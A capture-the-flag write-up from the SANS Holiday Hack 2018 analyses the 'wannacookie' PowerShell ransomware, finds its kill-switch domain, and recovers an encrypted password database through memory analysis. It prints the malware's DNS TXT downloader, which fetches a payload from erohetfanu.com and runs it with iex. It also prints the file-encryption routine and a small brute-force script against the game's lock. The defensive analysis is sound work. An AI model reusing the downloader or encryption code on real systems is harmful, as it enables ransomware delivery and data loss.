$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings};
iex($(H2A $h | Out-string))
I’ll notice the hex string for wannacookie.min.ps1 again. That must have been the downloader I was looking at in the pcap traffic.
The domain it is talking to, erohetfanu.com, is also visible here.
Answer: erohetfanu.com
(Interestingly, no achievement for this one).
Stop the Malware
Overview
While I got no achievement for the last submission, I did get updated information from Alabaster and a new hint as to where to go next:
Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one won’t be effective.
I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.
Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!
</a>
Background
When the Wannacry worm was propagating across the internet causing as much as $4 billion worth of damage, a researcher who goes by MalwareTech found in the code that the worm was trying to resolve a long gibberish domain before taking further action. He registered the domain, which acted like a kill switch for the malware, and the worm stopped propagating (at least on internet connected networks)! For the full story, check out Lily Hay Newman’s story in Wired.
Strategy
When working with VBA and PowerShell malware, one of the best ways to figure out what is going on is it use the malware code itself. So I’ll set up in a safe environment (where if something does go wrong, I don’t lose anything important and the mawlare can’t spread), and then look for bits of code I can run to give me what I’m looking for. This strategy is the subject of Chris Davis’ KringleCon talk, Using What the Malware Author Gives You.
PowerShell Dropper Analysis
The code at the end of the previous section starts with an empty string ($h
), and then loops over DNS calls for TXT records, appending each to $h
. Then the result is passed to a defined function H2A
, which is an implementation of a hex to ascii conversion function.
The for
loop is for $i
in a range from 0 to a number which is calculated with a DNS query:
([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)
I’ll start by looking at that DNS query:
PS C:\Users\0xdf> Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT
Name Type TTL Section Strings
---- ---- --- ------- -------
77616E6E61636F6F6B69652E6D696E2E707331.e TXT 600 Answer {64}
rohetfanu.com
The code gets the strings result, converts that to an int, and then subtracts one. So, the code that creates the upper bound in the loop returns 63:
PS C:\Users\0xdf> ([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)
63
So there’s a loop on $i
from 0 to 63 building a string, $h
:
$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
I’ll try a couple manually just to see what I’m working with:
PS C:\Users\0xdf> (Resolve-DnsName -Server erohetfanu.com -Name "5.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com" -Type TXT).strings
46696c654d6f64655d3a3a437265617465293b6966202824656e635f697429207b24414553502e47656e6572617465495628293b2446696c6553572e5772697465285b53797374656d2e426974436f6e7665727465725d3a3a47657442797465732824414553502e49562e4c656e677468292c20302c2034293b2446696c65
PS C:\Users\0xdf> (Resolve-DnsName -Server erohetfanu.com -Name "54.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com" -Type TXT).strings
7428293b24526571203d2024636f6e746578742e526571756573743b2452657370203d2024636f6e746578742e526573706f6e73653b247265637664203d20277b307d207b317d27202d6620245265712e687474706d6574686f642c20245265712e75726c2e6c6f63616c706174683b69662028247265637664202d657120
It looks like each sends down a hex string. To get the full payload, I’ll just run the code from the document (stopping before it runs the result with iex
):
PS C:\Users\0xdf> $f = "77616E6E61636F6F6B69652E6D696E2E707331";
PS C:\Users\0xdf> $h = "";
PS C:\Users\0xdf> foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
>> $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings};
PS C:\Users\0xdf> $h.length
16028
I’ll use the hex to ascii function from Wannacookie and print the resulting code:
PS C:\Users\0xdf> function H2A($a) {
>> $o;
>> $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
>> return $o
>> };
PS C:\Users\0xdf> $(H2A $h | Out-String).length
8016
PowerShell Core
Find Kill Switch
From here I can print the body of the code. I’ll put a full version of the code in the Appendix D. The code defines a bunch of functions, and then on the last line, calls one, wanc
.
Towards the start of wanc
, there’s this block of code:
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
If the if
statement results true by the result of the Resolve-DnsName
not being null, then the function returns, and doesn’t continue the rest of it’s routine. That’s the kill switch that I’m looking for.
Get Killswitch Seed Value
Before I break out that if
to make it more readable, I will get the value for that Resolve-DnsName
call in the middle.
There’ actually two Resolve-DnsName
calls in this if
. The first is the outside function, and there’s one internally which resolves a static domain. The internal one is $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings
. I suspect I’m digging in the right place, as the hex string “6B696C6C737769746368” decodes as ascii to “killswitch”:
root@kali# echo 6B696C6C737769746368 | xxd -r -p
killswitch
I’ll get that seed value which will help when simplifying the code:
PS C:\Users\0xdf> $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings
66667272727869657268667865666B73
Understand Helper Functions
I’ll look at the H2A
, B2H
, H2B
, G2B
, and ti_rox
functions. There’s a bunch of these X2Y
named functions, which actually turn out to be nicely named, helping my understanding of what’s happening. I’ll paste each one into my local PowerShell session, giving me access to use them. Based on my analysis, here’s what each of these functions does:
-
H2A
- Hex to ASCII - Takes a hex string, converts it to an ASCII string:PS C:\Users\0xdf> h2a("6141") aA
-
A2H
- ASCII to hex - Takes an ASCII string, converts it to a hex string:PS C:\Users\0xdf> a2h("ABCabc") 414243616263
-
H2B
- Hex to bytes (as int) - Takes a hex string, returns a list of ordinal values:PS C:\Users\0xdf> h2b("61411001") 97 65 16 1
-
B2H
- Bytes to hex - Takes an array of ints and returns a hex string:PS C:\Users\0xdf> b2h(97,65,16,1) 61411001
-
G2B
- Gzip to bytes - Takes a byte array and decompresses it to an array of bytes -
B2G
- Bytes to gzip - Takes a byte array and compresses it and returns an array of bytes -
ti_rox
- Takes two strings and XORs them character by character.
Find Killswitch Domain
Prepped with the return value of the DNS lookup and an understanding of the helper functions, I’ll break apart the function calls in the if
to make it more readable:
$p1 = H2B $S1 # Convert hex input to bytes
$p2 = G2B $p1 # gunzip bytes
$p3 = B2H $p2 # convert bytes to hex
$p4 = ti_rox $p3 66667272727869657268667865666B73 # xor two hex strings
$p5 = B2H $p4 # convert bytes to hex
$p6 = H2A $p5 # convert hex to ascii
$p7 = Resolve-DnsName -Name $p6 -ErrorAction 0 -Server 8.8.8.8
if ($null -ne $p7) {return;}
This can be done easily by just running parts of the code. After pasting the helper functions from Wannacookie into my PowerShell session, I can run this and get the name of the domain checked:
PS C:\Users\0xdf> $(h2a $(b2h $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
yippeekiyaa.aaay
Given my understanding of what’s happening now, I can also do it in CyberChef:
Answer: yippeekiyaa.aaay
Once I go into the Ho Ho Ho Daddy Terminal and registry that domain, the objective shows as complete.
Recover Alabaster’s Password
Overview
Alabaster gives me another task, asking me to get his password out of the encrypted database:
Yippee-Ki-Yay! Now, I have a ma… kill-switch!
Now that we don’t have to worry about new infections, I could sure use your L337 security skills for one last thing.
As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database.
Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords.
One of the passwords will unlock our access to the vault so we can get in before the hackers.
He also unlocks two more hints:
</a>
Get wannacookie.ps1
Alabaster’s hint was a good one. I’ve been working with wannacookie.min.ps1. What if I use the downloader code to get other files? I’ll try wannacookie.ps1. First, get the hex string:
root@kali# echo -n wannacookie.ps1 | xxd -p
77616e6e61636f6f6b69652e707331
Then download the code, and it works.
PS C:\Users\0xdf> $f = "77616E6E61636F6F6B69652E707331";
PS C:\Users\0xdf> $h = "";
PS C:\Users\0xdf> foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings};
PS C:\Users\0xdf> $h.Length
21084
Like the min version, I won’t put the full code here, but there’s a copy in the Appendix D.
wannacookie.ps1 Analysis
After the killswitch code, there’s the code that encrypts files:
$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
$Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00})
$Hex_key = $(B2H $Byte_key)
$Key_Hash = $(Sha1 $Hex_key)
$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
$cookie_id = (send_key $Pub_key_encrypted_Key)
$date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
[array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where
{ ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $Byte_key $future_cookies $true
Clear-variable -Name "Hex_key"
Clear-variable -Name "Byte_key"
That code takes the following steps:
- Use the
get_over_dns
function to request something and store it as a string in$pub_key
. The hex decodes to “server.crt”. - Create a random 16 byte key and store it in
$Byte_key
. - Store a hex version of that key in
$Hex_key
. - Encrypt the binary key using the public key that was downloaded, and save the resulting string as
$Pub_key_encrypted_Key
. - Pass that encrypted key to the
send_key
function, and store the result as$cookie_id
. - Create a list of all the
.elfdb
files in the users Desktop, Documents, Videos, Pictures, and Music folders. - Pass that list of files to the
enc_dec
function with the binary key and$true
to encrypt. - Clear the hex and binary keys from memory.
Strategy
To decrypt Alabaster’s database, I’m going to need the symmetric key. But both the hex and binary versions were cleared from memory, so they won’t be in the memory dump. However, the encrypted copy of the key is not cleared from memory. If I can get that from memory, and then get the private key associated with the public key used to encrypt, I’ll be able to get the symmetric key and decrypt the document.
Memory Analysis
Load Data
I’ll use PowerDump here to look at the memory from the PowerShell process. After git clone
, I’ll run it and pass it the memory dump file, and tell it to process:
root@kali# python /opt/power_dump/power_dump.py
==============================
| __ \
| |__) |____ _____ _ __
| ___/ _ \ \ /\ / / _ \ '__|
| | | (_) \ V V / __/ |
|_| \___/ \_/\_/ \___|_|
__ __
\ \ ( ) / /
\ \_ ( ) ( _/ /
\__\ ) _ ) /__/
\\ ( \_ //
`\ _(_\ \)__ /'
(____\___))
_____ _ _ __ __ _____
| __ \| | | | \/ | __ \
| | | | | | | \ / | |__) |
| | | | | | | |\/| | ___/
| |__| | |__| | | | | |
|_____/ \____/|_| |_|_|
Dumps PowerShell From Memory
==============================
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 1
============ Load Dump Menu ================
COMMAND | ARGUMENT | Explanation
========|====================|==============
ld | /path/to/file.name | load mem dump
ls | ../directory/path | list files
B | | back to menu
============= Loaded File: =================
============================================
: ld powershell.exe_181109_104716.dmp
============ Load Dump Menu ================
COMMAND | ARGUMENT | Explanation
========|====================|==============
ld | /path/to/file.name | load mem dump
ls | ../directory/path | list files
B | | back to menu
============= Loaded File: =================
powershell.exe_181109_104716.dmp 427762187
============================================
: b
============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded : True
Processed : False
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 2
[i] Please wait, processing memory dump...
[+] Found 65 script blocks!
[+] Found some Powershell variable names to work with...
[+] Found 10947 possible variables stored in memory
Would you like to save this processed data for quick processing later "Y"es or "N"o?
: Y
Successfully Processed Memory Dump!
Processing can take a few minutes, but once it’s done, I can search through the data.
Search Example In PowerDump
The way to search in PowerDump is to apply filters, and then print the results.
For example, if I wanted to check for the wannacookie code in memory, I could select option 3 from the main menu:
============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded : True
Processed : True
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 3
[i] 65 powershell Script Blocks found!
============== Search/Dump PS Script Blocks ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Scripts
dump | dump [all|num] | dump specific or all Scripts
contains | contains [ascii_string] | Script Blocks must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Scripts length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num===============================================================================
:
That returns 65 code blocks! But if I add a filter to contain the string wanc
, which would be in both wannacookie.min.ps1 and wannacookie.ps1, I get just one block, and (though I don’t show it here) it is the min version:
: contains wanc
================ Filters ================
1| CONTAINS 'wanc' in script_blocks
[i] 1 powershell Script Blocks found!
Identify Variable Values to Find
Given the hex and binary keys were cleared, I’ll focus on the encrypted key. To make sure I understand how it looks, I’ll just create one myself. After loading all the helper functions, I’ll run:
PS C:\Users\0xdf> $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
PS C:\Users\0xdf> $pub_key.Length
865
PS C:\Users\0xdf> $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([ch
ar]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00})
PS C:\Users\0xdf> $Hex_key = $(B2H $Byte_key)
PS C:\Users\0xdf> $Key_Hash = $(Sha1 $Hex_key)
PS C:\Users\0xdf> $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
PS C:\Users\0xdf> $Pub_key_encrypted_Key
169c783ebb274353ec0a9a32cc1af4d11fb1b808505d24b44ee7f6b44e1b395559b5b73eaa1c0b52b5bfae77d5b25571a5bf18d05e82f046912a295d6cca0ef6d2dd8141192305230f275b211f157b6e0e64c35960466742c87fbca7c7d774e7a0d5d55c869d9b95283b9fae8ede43c30398f58de5513a687199729a26c7008c92dec2db07c6ed9255b896d066f98fe766fa6216887bfc842de21b253ab24961c47b429da9dfcd6fe3ab1e92c3e4147d1799a4f29a8f3bf0b0c4f9c9cd5ccbbe16bcecfdeef2da8857a867ecbdc6f6a950dceb3a9d21f7eb352cf4ed80f886d7b02c213d432404ae0100e894e84f847a9e4f910bd20e006bcd8c1d3727807bec
PS C:\Users\0xdf> $Pub_key_encrypted_Key.Length
512
So the thing I’m looking for is a 512 character hex string.
While I’m here, I’ll check out the cookie id as well:
PS C:\Users\0xdf> $cookie_id = (send_key $Pub_key_encrypted_Key)
PS C:\Users\0xdf> $cookie_id.Length
16
PS C:\Users\0xdf> $cookie_id[15]
674c6c76514a3462435a
PS C:\Users\0xdf> $cookie_id[15].Length
20
Get Values
Now back to PowerDump, I’ll look at the variables with option 4:
[i] 10947 powershell Variable Values found!
Given that there’s almost 11,000, I’ll need to use filters. First, I’ll look for the encrypted key, and find only one hex string 512 characters long:
: matches "^[0-9a-f]{512}$"
================ Filters ================
1| MATCHES bool(re.search(r"^[0-9a-f]{512}$",variable_values))
[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Variables
dump | dump [all|num] | dump specific or all Variables
contains | contains [ascii_string] | Variable Values must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num
===============================================================================
: print all
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
I’ll also grab the cookie by filtering on 20 hex characters:
: matches "^[a-f0-9]{20}$"
================ Filters ================
1| MATCHES bool(re.search(r"^[a-f0-9]{20}$",variable_values))
[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Variables
dump | dump [all|num] | dump specific or all Variables
contains | contains [ascii_string] | Variable Values must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num
===============================================================================
: print all
4739626449686a334d36
That’s a good sign, as that cookie value matches the ID in the image on Alabaster’s terminal screen:
Finally, I’ll see if I can find the sha1 of the key. Since there’s only one 40 hex characters string, that’s likely the sha1 I’m looking for:
1| MATCHES bool(re.search(r"^[a-f0-9]{40}$",variable_values))
[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Variables
dump | dump [all|num] | dump specific or all Variables
contains | contains [ascii_string] | Variable Values must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num
===============================================================================
: print all
b0e59a5e0f00968856f22cff2d6226697535da5b
I’ll use this hash in a minute.
Get Private Key
In order for this encrypted key to be of any value to me, I’ll need to private key. It’s worth checking to see if by any chance the attacker left it exposed over the DNS C2 channel. A .crt
file is often paired with a .key
file. If I try to get server.key
, it returns a private key:
PS C:\Users\0xdf> a2h "server.key"
7365727665722E6B6579
PS C:\Users\0xdf> get_over_dns 7365727665722E6B6579
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----
Decrypt Symmetric Key
With the encrypted key and the private key in hand, I can decrypt it to get the symmetric key used to encrypt the database. It’s certainly possible to do this on Windows, but it’s way easier to jump to linux and use openssl
:
root@kali# openssl rsautl -decrypt -inkey server.key -in key.bin.enc -out key.bin -oaep
root@kali# xxd key.bin
00000000: fbcf c121 915d 99cc 20a3 d3d5 d84f 8308 ...!.].. ....O..
root@kali# xxd -p key.bin
fbcfc121915d99cc20a3d3d5d84f8308
I used the -oaep
option because otherwise openssl dies complaining about padding. Some googling showed the right flags to fix that.
I’ll sha1 that key and see that it matches the sha1 I pulled from memory (b0e59a5e0f00968856f22cff2d6226697535da5b)! That makes it very likely that I have the right key:
PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> $akey = "fbcfc121915d99cc20a3d3d5d84f8308"
PS C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018> sha1 $akey
b0e59a5e0f00968856f22cff2d6226697535da5b
Decrypt Database
With the key in hand, I’ll set $key = "fbcfc121915d99cc20a3d3d5d84f8308"
, $File = "C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018\alabaster_passwords.elfdb.wannacookie"
, and run through the code that does the decrypt, right towards the top of the wannacookie.ps1 source.
PS C:\Users\0xdf> $key = "fbcfc121915d99cc20a3d3d5d84f8308"
PS C:\Users\0xdf> $File = "C:\Users\0xdf\Dropbox\CTFs\SansHolidayChallenge-2018\alabaster_passwords.elfdb.wannacookie"
PS C:\Users\0xdf> [byte[]]$key = h2b $key
PS C:\Users\0xdf> $Suffix = "`.wannacookie"
PS C:\Users\0xdf> [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
PS C:\Users\0xdf> [System.Int32]$KeySize = $key.Length*8
PS C:\Users\0xdf> $AESP = New-Object 'System.Security.Cryptography.AesManaged'
PS C:\Users\0xdf> $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
PS C:\Users\0xdf> $AESP.BlockSize = 128
PS C:\Users\0xdf> $AESP.KeySize = $KeySize
PS C:\Users\0xdf> $AESP.Key = $key
PS C:\Users\0xdf> $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
PS C:\Users\0xdf> $DestFile = ($File -replace $Suffix)
PS C:\Users\0xdf> $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
PS C:\Users\0xdf> [Byte[]]$LenIV = New-Object Byte[] 4
PS C:\Users\0xdf> $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
PS C:\Users\0xdf> $FileSR.Read($LenIV, 0, 3) | Out-Null
PS C:\Users\0xdf> [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0)
PS C:\Users\0xdf> [Byte[]]$IV = New-Object Byte[] $LIV
PS C:\Users\0xdf> $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
PS C:\Users\0xdf> $FileSR.Read($IV, 0, $LIV) | Out-Null
PS C:\Users\0xdf> $AESP.IV = $IV
PS C:\Users\0xdf> $Transform = $AESP.CreateDecryptor()
PS C:\Users\0xdf> $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.
Cryptography.CryptoStreamMode]::Write)
PS C:\Users\0xdf> [Int]$Count = 0
PS C:\Users\0xdf> [Int]$BlockSzBts = $AESP.BlockSize / 8
PS C:\Users\0xdf> [Byte[]]$Data = New-Object Byte[] $BlockSzBts
PS C:\Users\0xdf> Do
>> {
>> $Count = $FileSR.Read($Data, 0, $BlockSzBts)
>> $CryptoS.Write($Data, 0, $Count)
>> }
>> While ($Count -gt 0)
PS C:\Users\0xdf> $CryptoS.FlushFinalBlock()
PS C:\Users\0xdf> $CryptoS.Close()
PS C:\Users\0xdf> $FileSR.Close()
PS C:\Users\0xdf> $FileSW.Close()
I’ll move the resulting file to my Linux host, I see that that gave me a sqlite db with passwords in it, including the one for the vault:
root@kali# file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002
root@kali# sqlite3 alabaster_passwords.elfdb
SQLite version 3.25.3 2018-11-05 20:37:38
Enter ".help" for usage hints.
sqlite> .tables
passwords
sqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com
Answer: ED#ED#EED#EF#G#F#G#ABA#BA#B
Piano Door
Straight Forward Way
On giving Alabaster his decrypted db, he responds by saying:
I’m seriously impressed by your security skills. How could I forget that I used Rachmaninoff as my musical password?
It also unlocks a hint:
I’ll need to match notes to keys on the keyboard. Luckily, there’s an image in the pdf from the previous section:
I’ll take the notes from the db over to the door and enter it, but I get back a message that the key isn’t right, which matches the hint:
I change the key from E to D, I just need to shift each key up two keys on the keyboard. In an online music program that looks like this:
And that unlocks the door:
And gives me two very similar achievements:
Without The Hint
When I first got to this point, I didn’t think to take the musical string in E to my badge, and thus, I was trying to open this door without the hint from Alabaster about how to change the key. I also had not yet solved objective 8, so I was missing the info on music. Still, the challenge was solvable using just the info I had.
First, I looked at the traffic coming from the piano lock, and saw that to check the pass, a GET request was sent with a parameter i
that was a string of keys, where sh
followed a letter to make it sharp. With that in mind, I could use curl to check a string of keys. For example, here’s the results for both the original offkey solution and just a wrong solution:
root@kali# curl "https://pianolockn.kringlecastle.com/checkpass.php?i=EDshEDshEEDshEFshGshFshGshABAshBAshB&resourceId=undefined"
{"success":false,"message":"offkey"}
root@kali# curl "https://pianolockn.kringlecastle.com/checkpass.php?i=EDshEDshEEDshEFshGshFshGshAshBAshBAshB&resourceId=undefined"
{"success":false,"message":"Incorrect guess."}
With that in mind, and the note about being in the wrong key, I wrote a quick python script to check all possible keys:
#!/usr/bin/env python3
import json
import requests
keys = ['A', 'Ash', 'B', 'C', 'Csh', 'D', 'Dsh', 'E', 'F', 'Fsh', 'G', 'Gsh', 'A']
song = 'EDshEDshEEDshEFshGshFshGshABAshBAshB'
def shift_key(s):
new_keys = ''
while s:
if s[1:3] == 'sh':
key = s[0:3]
s = s[3:]
else:
key = s[0]
s = s[1:]
new_keys += keys[keys.index(key)+1]
return new_keys
for i in range(13):
song = shift_key(song)
resp = requests.get(f"https://pianolockn.kringlecastle.com/checkpass.php?i={song}&resourceId=undefined")
if json.loads(resp.text)['success']:
print(f"[*] Found song: {song}")
root@kali# ./change_keys.py
[*] Found song: DCshDCshDDCshDEFshEFshGAGshAGshA
That script was able to find the right answer within a couple seconds.